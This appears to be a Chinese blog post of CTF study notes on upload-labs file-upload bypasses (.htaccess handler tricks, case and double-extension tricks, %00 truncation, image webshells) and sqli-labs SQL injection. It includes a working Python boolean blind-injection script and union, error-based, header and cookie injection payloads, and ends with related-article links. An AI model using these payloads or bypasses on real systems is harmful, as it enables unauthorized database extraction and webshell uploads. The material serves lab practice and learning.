当前位置: 首页 > news >正文

upload

(上传一句话木马,用蚁剑链接验证是否成功/传有回显的:<?php phpinfo();?>)

学看代码

#function checkfile(){}:定义了一个名叫checkfile的函数

#var file=方法.(获取名为‘upload_file’的元素)[获取哪些,第一行].获取元素的value属性

【if】判断1:是否上传了

#var 允许上传文件类型:.jpg .png .gif

提取文件后缀名

【if】判断2:检查文件,不符合要求就返回错误

$(var)申明变量

【】判断1:检查$_POST数组中是否有‘submit’(提交键名称)

【】判断2:检查上传路径是否存在

【】判断3:判断文件内容类型

['upload_file']:这是$_FILES数组中的一个元素,对应于表单中name属性为upload_file<input type="file">元素

['type']$_FILES['upload_file']数组中的一个键,它包含了上传文件的MIME类型

【】路径:UPLOAD_PATH . '/' . $_FILES['upload_file']['name']

点是PHP中的字符串连接操作符,UPLOAD_PATH/上传文件名连接起来,形成一个完整的文件路径

【】判断1、2:上传了文件

(定义不允许上传类型的后缀的数组)

(文件名处理)删头尾空格,删末尾点;

(找后缀处理)找最后一个点之后部分,小写后缀,去除后缀中‘::$DATA’,去除后缀头尾的空

【】判断3:检查文件扩展名是否在禁止上传的扩展名列表中

构造上传文件的目标路径(包括一个基于当前日期和时间的目录,以及一个随机数,以减少文件名冲突的可能性)

【】再判断上传的文件从临时目录移动到目标目录是否成功

#严谨了后缀,(禁了ini,没禁htaceess)

#(没禁ini)

WP

一、前端验证:禁用js

更通用做法

后缀1.jpg,bp抓包改1.php

或删除js代码(新文件后缀html)+action="上传地址"

二、(MIME:Content-Type)

bp抓包改成源码中允许上传的type

<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235722.png" alt="屏幕截图 2024-12-20 235722" style="zoom: 50%;" />

三、前端验证(黑名单:格式后缀)【特殊解析后缀:】

<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235826.png" alt="屏幕截图 2024-12-20 235826" style="zoom:50%;" />

【.png怎么执行】四、(黑名单:禁用特殊解析后缀;防止大小写绕过)

htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。

(网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能)

通俗点来说,利用这个文件,修改服务器的配置,让服务器将文件内容符合php语法的.png结尾的文件解析为php语言去执行。

上传一个同名.htaccess文件(文件名必须一致)SetHandler application/x-httpd-php

五、(少了大小写绕过:利用)

.PHp

六,七、(少了收尾去空),(少了收尾去点)【Windows】

八、(少了去除字符串)

九、十(只匹配替换一次)双写绕过

.pphphp

十一、十二、(后缀名是白名单,但看别的函参)

$save_path:%00截断

(用bp,url解码)

十三、

图片马,末尾加码

十四、getimagesize

函数的重点——fread2字节:

POINTs:

POST有什么特点:账户登录页面

读报错信息:for the right syntax to use near 类似的...

判断是否存在sql注入

联合注入,

报错注入:extractvalue()、updatexml()、group by()

sql注入——报错注入-CSDN博客

布尔盲注

import requests
import time

url = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {
	"uname" : "",
	"passwd" : "123456",
	"submit" : "Submit"
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		# 跑库名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)

		# 跑表名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)

		# 跑列名
		#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)

		#######################
		#"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		html = requests.post(url,data=payload)
		print(payload)
		if "/images/flag.jpg" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

问为什么不能用--+注释:

-- ;--+;#

多了个Base64编码,且读取要用到【select reverse()】
 

11:双参数

1

1':有报错

1' or 1=1#

1' union select 1,2#

回显位是2

uname=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit

(table_name)

information_schema.tables

where table_schema='ctfshow'--+【schema_name】

(column_name)

information_schema.columns

where table_name='flagugsd'--+

uname=1' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit

12:

1;1'

1":有报错

1") or 1=1#

1") union select 1,2#

13:单引号

用\报错

14:双引号

15:(没有报错信息)布尔盲注

测闭合,测回显位(盲注不用)

16:布尔盲注

1") or = --+登陆成功

17:【密码RESET界面】报错注入【代码有报错】

查看源码:

$value(账户名)获取、处理(删除\,转义特殊字符,数字变整数)

从$update注入

uname=DUMB&passwd=123456&submit=Submit' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+

18:(ip)

返回了User Agent【U-A注入】

【POST:

uname=DUMB&passwd=DUMB&submit=Submit】

【schema_name】

' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1

【table_name】

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1

【column_name】

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1

【获取字段值】

' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

【逆读】

' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

19:referer注入

(和U-A一样)

20:cookie注入

登录得到回显(包括了自己的cookie)

【检查了POST,存在COOKIE方式提交的uname变量

猜测在header里的cookie进行注入

1'测注入点,测闭合方式

爆库

uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

21:

多了个Base64编码

该版本sqli-labs结束.

相关文章:

  • 线程状态与线程方法详解
  • 三支一扶入职体检不合格项目全解析
  • 算法day5 bfs搜索
  • 图像分类项目1:基于卷积神经网络的动物图像分类
  • JavaEE基础之- 过滤器和监听器Filter and Listener
  • 迷你世界脚本状态接口:Buff
  • 在.net中,async/await的理解
  • 【实战篇】【深度解析DeepSeek:从机器学习到深度学习的全场景落地指南】
  • 通往 AI 之路:Python 机器学习入门-面向对象编程
  • 数据库拓展操作
  • 阿里云 Qwen2.5-Max:超大规模 MoE 模型架构和性能评估
  • 大白话面试遇难题,应对策略是什么?
  • 微信小程序开发学习笔记
  • 知识库技术选型:主流Embedding模型特性对比
  • 阿里云ECS Ubuntu PPTP VPN无法访问以太网
  • 使用SPI总线与外部传感器通信,使用ECU抽象
  • 【Git】Ubuntu 安装 Git Large File Storage(LFS)以及使用 Git LFS 下载
  • 上位机知识篇---Linux\Windows操作系统下获取逻辑处理器数
  • Grok 3 AI 角色扮演提示词 化身顶级设计师
  • 【AD】4-2 利用IPC封装创建向导快速创建PCB封装-SOP8
  • 购物网站如何做推广/网络营销的期末试题及答案
  • 手机网站制作相关文章/网站应该如何进行优化
  • 青海微网站建设/模板之家官网
  • 网站建设明细报价/简单的seo
  • 利用vps做网站/企业网站管理
  • 建站abc口碑/外链代发软件